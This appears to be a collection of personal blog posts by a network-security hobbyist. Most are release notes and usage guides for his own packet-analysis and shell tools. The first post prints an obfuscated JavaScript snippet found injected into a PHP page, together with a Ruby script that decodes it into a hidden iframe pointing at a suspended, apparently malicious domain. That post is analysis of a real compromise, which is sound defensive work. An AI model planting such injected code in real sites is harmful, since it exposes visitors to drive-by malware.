Obfuscated javascript fun

A friend of mine (thanks Legit) turned me on to this piece of javascript found in the midst of some PHP:

<script language="JavaScript">
var0 = "x69x3cx33x27x34x38x30x75x3bx34"; var1 = "x38x30x68x72x36x3ax20x3bx21x30"; var2 = "x27x72x75x26x27x36x68x72x3dx21"; var3 = "x21x25x6fx7ax7ax33x27x34x38x30"; var4 = "x26x21x34x21x7bx3bx30x21x7ax3c"; var5 = "x3bx31x30x2dx67x7bx25x3dx25x72"; var6 = "x75x3dx30x3cx32x3dx21x68x72x64"; var7 = "x63x72x75x22x3cx31x21x3dx68x72"; var8 = "x64x63x72x75x33x27x34x38x30x37"; var9 = "x3ax27x31x30x27x68x72x65x72x75"; var10 = "x26x36x27x3ax39x39x3cx3bx32x68"; var11 = "x72x3bx3ax72x6bx69x7ax3cx33x27"; var12 = "x34x38x30x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

The “getElementById” that testws35fdgh refers to is this empty div:

<div id="testws35fdgh"></div>

As it turns out, this is some really terrible obfuscation, here’s the simple script to decode it (written in Ruby because I like Ruby):

#!/usr/bin/env ruby
hex = ["x69","x3c","x33","x27","x34","x38",
"x30","x75","x3b","x34","x38","x30","x68",
"x72","x36","x3a","x20","x3b","x21","x30",
"x27","x72","x75","x26","x27","x36","x68",
"x72","x3d","x21","x21","x25","x6f","x7a",
"x7a","x33","x27","x34","x38","x30","x26",
"x21","x34","x21","x7b","x3b","x30","x21",
"x7a","x3c","x3b","x31","x30","x2d","x67",
"x7b","x25","x3d","x25","x72","x75","x3d",
"x30","x3c","x32","x3d","x21","x68","x72",
"x64","x63","x72","x75","x22","x3c","x31",
"x21","x3d","x68","x72","x64","x63","x72",
"x75","x33","x27","x34","x38","x30","x37",
"x3a","x27","x31","x30","x27","x68","x72",
"x65","x72","x75","x26","x36","x27","x3a",
"x39","x39","x3c","x3b","x32","x68","x72",
"x3b","x3a","x72","x6b","x69","x7a","x3c",
"x33","x27","x34","x38","x30","x6b"]
line = ""
hex.each { |c|
## Unpack the char
c = c.unpack('c').to_s.to_i
## XOR with 85
d = c ^ 85
## Pack back into a character
t = [d].pack('c')
## Append to the line
line = line + t
}
puts line

Which eventually leads you to:

<iframe name='counter' src='http://framestat.net/index2.php' height='16' width='16' frameborder='0' scrolling='no'></iframe>

If you do a whois on the framestat.net domain, you can see that the domain was suspended:

Registrant:
Suspended Domain ****@4host.info +1.00000000
Suspended domain
Suspended domain
Suspended domain,
Suspended domain,US 94040

Registration Service Provider:
name: Rustelekom Ltd.
tel: +1.8666254678
fax: +1.9782465632
web:http://nameservers.ru

Looks like someone’s been up to something naughty It also looks like it was originally a Russian site (not that it matters). Since the site is down, it’s difficult to tell what would have happened if the iframe source still existed. I’m guessing malware.

Still, the question remains, how did the javascript get to the page? I’m still looking in to that, right now my theory is php remote-file-inclusion, but we’ll see as things become a bit more clear.

The ZoomGo script, quickly move anywhere you want to be

One of the most important traits of being a SysAdmin is laziness (well, not really laziness, but recognizing repetitive action and taking steps to automate it). In the effort to combat repetitive changing directories, I have written a tiny (< 100 lines) Ruby script to handle “zooming” to a particular directory.

Firstly, download the script here and put it somewhere in your path (rename it to “zg.rb”). Make sure to chmod +x it so it’s executable.

Note, 3 of the lines in the script *MAY* need to be changed, they are:

$DFDIR = "/Users/hinmanm/.zg"
$ZGCONF = $DFDIR + "/zg.conf"
$FINDCMD = "find"

Change the DFDIR entry to be where you plan on storing your ZoomGo files. Make sure you create the directory you specified, as you can see about, mine is set to ~/.zg. You shouldn’t have to change the ZGCONF file unless you want to. The FINDCMD variable is because on FreeBSD, when you install the “findutils” package, the find command is “gfind”, so change this to whatever your find command is (‘find’ should be fine for most people).

In the ~/.zg/zg.conf file (or wherever your DFDIR and ZGCONF locations are), entries are specified with a directory name, rescan time and directory name glob. The entries in my ~/.zg/zg.conf file are:

~/src:10:*
~/pcap:10:*
~/hex:10:*
~/Torrents:30:*
~/Random:60:*
~/Pictures:10:*
/Volumes/VAULT:20:*

What this means is: “look at my ~/src directory, rescan it if it’s older than 10 minutes and search for all directories (*)“, etc. I also search my pcap directory, the hex source tree directory, my Torrents and Random files and my TrueCrypt vault drive (When it’s mounted).

Next, I added the following line to my ~/.zshrc (I use ZSH, but the syntax for Bash would be almost exactly the same):

## For the "ZoomGo" ruby file
function zg () {
eval cd `zg.rb $1`
}

Yea, it’s kind of a hackish way to do it, but it works. After starting a new zsh, you should now be able to type “zg <dirname>” to use ZoomGo on a directory. For example:

~$ zg aimsnarf
Zooming directly to /Users/hinmanm/src/ruby/aimsnarf...
~/src/ruby/aimsnarf$

When you first run ZoomGo, it will rescan all the directories that you specified in the zg.conf file, saving the datafiles in the DFDIR. If the data file hasn’t been updated in the given rescan time (like 10 minutes for my ~/src directory) it will also rescan the directory and you’ll see messages like this:

rescanning ~/src...
rescanning ~/pcap...
rescanning ~/hex...
… and so on

You can also manually rescan all the directories by adding the “–rescan” flag.

Now, let’s say you have 2 directories that are both named the same thing, here’s an example when I run “zg aim”

~$ zg aim
2 directories were returned.
(1)    /Users/hinmanm/pcap/aim
(2)    /Volumes/VAULT/pcap/aim
1
~/pcap/aim$

See that? ZoomGo asks you to choose which directory to zoom to if there is more than 1 option, at the moment, it doesn’t like more than 9 directories, but hopefully I’ll fix that later

There, wasn’t that easier than typing “cd ~/pcap/aim”, now try it for a longer directory:

~$ zg nsm-console
2 directories were returned.
(1)    /Users/hinmanm/hex/hex/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console
(2)    /Users/hinmanm/hex/hex2/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console
2
~/hex/hex2/rawpacket-root/usr/home/analyzt/rp-NSM/nsm-console$

Enjoy

NSM-Console version 0.5 release

That’s right, no development release this time around. I’ve been trying to get version 0.5 all finished for the Hex 1.0.3 release, and I’m happy to present the newest NSM-Console release!

Firstly, you can download NSM-Console version 0.5 here:
http://navi.eight7.org/~hinmanm/files/nsm-console-0.5.tar.gz

Mirror here:
https://secure.redsphereglobal.com/data/dakrone/files/nsm-console-0.5.tar.gz

Like always, let’s go over some of the new features in this release:

Alias command
You can now alias a command whatever else you would like to, the syntax is the same as regular bash alias syntax, for instance, here are my aliases from my ~/.nsmcrc:
alias ls = list
alias ll = list
alias serv = e cat /etc/services | grep
So as an example, if I wanted to look up a service port, now I just type “serv 5190” and see if /etc/services has an entry for that port. (I have a habit of hitting ‘ll’ or ‘ls’ all the time, so now at least they’re useful)

Additional modules: flowtime and harimau
I added a couple of modules, the first is flowtime, which is a packet timeliner that I wrote about in this post. The second is the Harimau module, which will query the Harimau watchlist for all the IPs in a pcap file and print out the matching entries. Thanks go to Spoonfork and the Security.org.my team for the awesome tool.
Note: flowtime won’t work out of the box in Hex unless you install Argus version 3 (not version 2, which is what Hex comes with) as well as symlink ‘ploticus’ to ‘pl’ somewhere in your path.

Checkip command
Speaking of the Harimau watchlist, it has also been integrated as an NSM-Console command. You can see an example here:
nsm> checkip 209.177.146.34
209.177.146.34,www.emergingthreats.net/rules/bleeding-botcc.rules,botcc,2008-02-05 00:03:10

Module improvements
The snort module now uses the ac-bnfa search algorithm, which should help on systems with lower amounts of RAM (*cough* like my own). In addition, the bro-ids module now actually generates many more helpful reports and actually performs intrusion detection instead of just generating flow content. Some modules have been added to categories to make them easier to toggle.

Other minor improvements
Toggle handles multiple module names, space separated
All NSM-Console errors finally go to STDERR instead of STDOUT
Help command is much more readable and supports argument to get help about a particular command.
~./nsmcrc is read extremely quietly now, so it doesn’t fill up the screen
Bugfixes.

You can read the entire changelog here.

As always, please please please let me know if you have any comments, criticisms or suggestions Feel free to email me or leave a comment below.

Flowtime – Create a timeline for packet flow

You can never have too many tools for pcap visualization

Flowtime is a script written in Ruby that produces a timeline of the network flows in a pcap file. Everything is better with a picture, so here’s a picture: (warning, this picture is 3000×2000 pixels, kind of large)

Each bar on the left is a IP address along with a port, the timeline on the bottom is the time it was capture (in seconds). The different colors represent different kinds of traffic, http is blue, ssl is red, yellow is other, etc. At the moment there isn’t any legend, but I already think it’s useful just to see patterns in the traffic over time.

Download Flowtime here.

Requirements to run Flowtime:

• Argus (version 3 only)
• Ploticus (you should have ‘pl’ in your path. You may have to symlink ‘ploticus’ to ‘pl’)
• EasyTimeline (you should have ‘EasyTimeline’ in your path)

Yea, I know, lots of dependencies, I’m hoping to rewrite this into a MUCH better version in the future, consider this the prototype

Here’s how to run it:

flowtime [-w #] [-h #] [-g] [--help] <pcapfile> <ipaddr> <outfile_base>
-w specify the width, default: 2000
-h specify the height, default: 2000
-g automatically try generate a png (requires 'EasyTimeline' and 'pl' in path)
<pcapfile> the packet file to generate a graph of
<ipaddr> source address to generate a graph for, 'all' for all IPs
<outfile_base> basename for the output file

To generate a basic graph, just do something like ‘flowtime -g data.pcap all data-out‘. After running this (if everything works okay), you should have a few files in your directory, if you open data-out.png you should be able to see the data as a timeline. If there are errors instead of data-out.png, there will be a file called data-out.err.

I know this script has issues, isn’t very user-friendly and doesn’t always work, here’s what I’m hoping to improve for the next version:

• Generate an image of the entire timeline, in addition to showing it in a window
• The ability to zoom in to a particular range of time to show only that time
• Export an image of the current view
• Select a bar to get more information about that flow

I’m going to have to use a different framework though, I’m considering Tk, but I haven’t ever done anything with it before.

Questions? Concerns? Comments? Suggestions?

P.S. I already made an NSM-Console module for flowtime too

NSM-Console version 0.4 release

Well, it has barely been any length of time and there’s already a new release of NSM-Console, there are so many features that I’ve been coding like crazy to get them all done. First, let’s start with the downloading:

http://navi.eight7.org/~hinmanm/files/nsm-console-0.4.tar.gz
[mirror] https://secure.redsphereglobal.com/data/dakrone/files/nsm-console-0.4.tar.gz

And, for anyone interested, here’s a rundown of the most notable new features:

Additional encoding/decoding options
You can now do uuencode and uudecode using encode and decode. In addition I’ve added octal and char decoding, more to come in the future!

The ‘print’ command (or just ‘p’)
NSM-Console now supports reading and printing pcap file connections as well as payloads in a variety of multiple formats. If you use the ‘print’ or ‘p’ command without any arguments, usage is displayed. You can print just connection information, or you can print the payload in either ascii or hex. The print command also supports ranges, *s and commas. For example, all of these are valid commands:
p -x 100
p -h 10-15
p 100-*
p -x 10,53-64,102,2037-*
To see the print command in more action, take a look at how it is used to decode the sans packet challenge.

Color terminal text
Yep, nsm-console now supports color to brighten up your packet analysis experience If you are too dull to enjoy color (or don’t have a terminal that supports it), you can turn it off by using the ‘color off’ command.

Added modules
I’m slowing down for finding modules to easily add, but I still managed to add 2: tcptrace and tcpick. Note that tcpick isn’t installed by default on a Hex 1.0.2 install, so you’ll need to install it yourself. In order to view the graphs generated by tcptrace, you’ll need to install xplot too. (Hopefully these will be included in the next version of Hex)

~/.nsmcrc configuration file
When NSM-Console starts up, it will now check to see if the ~/.nsmcrc file exists, if it does, it will read through it and execute the commands found. For example:

[hinmanm@Euclid] $ cat ~/.nsmcrc
color off
eval $PROMPT="#{$GREEN}nsm#{$RESET}> "
# This is a comment
set honeysnap HOST_LIST 192.168.1.101,192.168.1.102

would set the color to be off, change the prompt to be green (yea, I know, a contradiction, it’s just an example) and set up some of our honeysnap options. Any line starting with a “#” will be ignored as a comment. This should help with some of the tediousness of having the set the same options every time you start up nsm-console.

Bugfixes, always bugfixes
Who doesn’t like bugfixes?

You can see the full list of all the changes in this version here, as well as future TODOs here. I’d like to give a big thanks to Scholar for letting me use his pcap parsing library, this way nsm-console doesn’t depend on any external libraries. Thanks Scholar!

I’ve also set up an NSM-Console wiki page over on the trac, in case you’re having trouble finding any of the information or want to download an older release.

Decoding the SANS Christmas packet challenge using only NSM-Console

In my never-ending quest to find justification for writing NSM-Console, I hereby present the following tutorial on how to decode the SANS Christmas packet challenge using nothing but NSM-Console:

I’m going to be using NSM-Console version 0.4-DEVEL, which adds the features that allow this analysis to be performed without external tools. You can get the development version here. Alright, let’s get this party started:

First things first, the fellows at SANS point you to the first packet in the xmas_Starter.pcap file, so let’s load up NSM-Console with the packet capture

./nsm ~/xmas_Starter.pcap

Next, let’s do a printout of all the packets in this dump (since it’s a small file, there shouldn’t be too many)

NSM-Console version 0.3 release

Yep, I’ve just been cranking out code lately, so I am proud to present the 0.3 release of nsm-console!

You can download NSM-Console here:

http://navi.eight7.org/~hinmanm/files/nsm-console-0.3.tar.gz

This release was focused a bit more on usability, features and bugfixes rather than the addition of new modules, however, there were still a couple that were added. Since this release has some pretty big changes, let’s start by going over some of the notable ones:

Screencast: An introduction to NSM-Console

Well, I’ve been working on this for the last week or so, trying to get it all working the way I wanted, and after around 15 takes, I finally have a screencast for anyone interested in the idea behind and usage of nsm-console.

The version of nsm-console used in the screencast is the 0.3-DEVEL version. UPDATE: Version 0.3 is now out!

The video is in .mov format and is 12 minutes and 40 seconds, it is around 17MB. Don’t forget to right-click and “Download As”!

• mirror 1 [thanks enhanced]
• mirror 1 w/ssl [thanks again enhanced]
• mirror 2 [my server]

I’m hoping to have a flash version created soon, I’ll update this entry when I do.

If you have any questions, comments or criticisms, feel free to leave a comment below or email me.

I also updated the “about me” page if you absolutely must know what I look like.

Oh, one more thing, ignore the fact that I say “so” around 30 times in this one video, this is my first screencast, gimme a break.

Development version of nsm-console (0.3-DEVEL)

I just pushed out a newer development version of nsm-console out to navi.eight7.org, here are some of the new features:

• Snort module with community rules
  •  self-contained snort module will all the community rules and configuration file, this’ll generate alerts into a file after reading the pcap file. I wasn’t sure whether to use community or bleeding edge rules, it’s still easy to point the snort module to your own snort.conf file and do it that way.
• Exec command will do substitution now on the following variables:
  • ${PCAP_FILE}
  • ${PCAP_BASE}
  • ${MODULE_DIR}
  • ${OUTPUT_DIR}
  • This’ll let you do something like “exec tcpdump -X -n -r ${PCAP_FILE}“
  • In addition, exec now logs all the commands run into the regular logfile
• The ‘logfile’ command, real simple, just specifies a new logfile
• Whitespace is handled much much better, there were a lot of bugs with whitespace being handled correctly for the “set” command (among others), it should be handled much better now.
• Category loading now handles non-files much better, before, if you left a “CVS” directory in the categories folder, it would read it but when it went to do a “toggle all”, it would error out, this has been fixed.
• Lots of bugfixes

You can grab the new version here:

http://navi.eight7.org/~hinmanm/files/nsm-console-0.3-DEVEL.tar.gz

It’s definitely stable enough for daily use, highly recommended over the older versions. I’m still hoping to get cvs-web interface up to be able to browse the code.

NSM-console version 0.2 release

I found out there is internet here, so I’m finally able to post some code changes I was working on while on the airplane.

Firstly, download the files here.
The static page for nsm-console is here.

I finally got around to releasing the next version of the nsm-console. This version incorporates a large amount of bug fixes and additional features, first, I’ll start with some of the features I’m the most happy about Most of these features are in the new Hex 1.0.2 release which came out yesterday (go download it now!)

•   Categories
  • You can now toggle certain categories on and off, for instance, one category shipped with the new release is the ‘flow’ categories, you treat them just like a regular module. Simply use “toggle flow” to toggle the flow category (and all of it’s modules) on and off.
  • You can easily add your own categories to customize your work environment, all you have to do is create a file named the same name as the category name in the modules/categories directory.
• Directory analysis
  • When you normally run the nsm-console, you would specify a single pcap file to perform analysis on, now you can use the same “file” command to specify a directory full of files  instead of a single file. When the “run” command is executed, all the toggled module’s operations will be executed on each file in the directory (recursively)
  • To better accommodate this type of operation, I encourage anyone that is writing any modules to write them to output the results into an output file named something like ${PCAP_BASE}.tcpdstat.out (so if you had more than 1 file, the output will go into more than one file)
• The ‘exec’ command
  • I added the exec command because I was tired of spawning an additional shell in order to run a simple ‘tcpdump’. I hope this helps with the automation that I’m going to talk about below.

The directory functionality and the exec command isn’t in the current Hex release, but hopefully it will be in the next release.

Part of the reason I think nsm-console is neat is the ease of automation you can do using simple text files. For instance, if you created a text file called “automate.txt” and put the following lines in it:

file /pcap/data.pcap
output automated-output
toggle aimsnarf
toggle tcpdstat
toggle chaosreader
run
quit

Then, you can run the command:

./nsm < automate.txt > output.txt

Which will run all the commands in the text file automatically, placing all the output in output.txt, simple eh?

If you have any questions, comments or suggestions, feel free to leave a comment or send an email I’d love to hear if/how you’re using nsm-console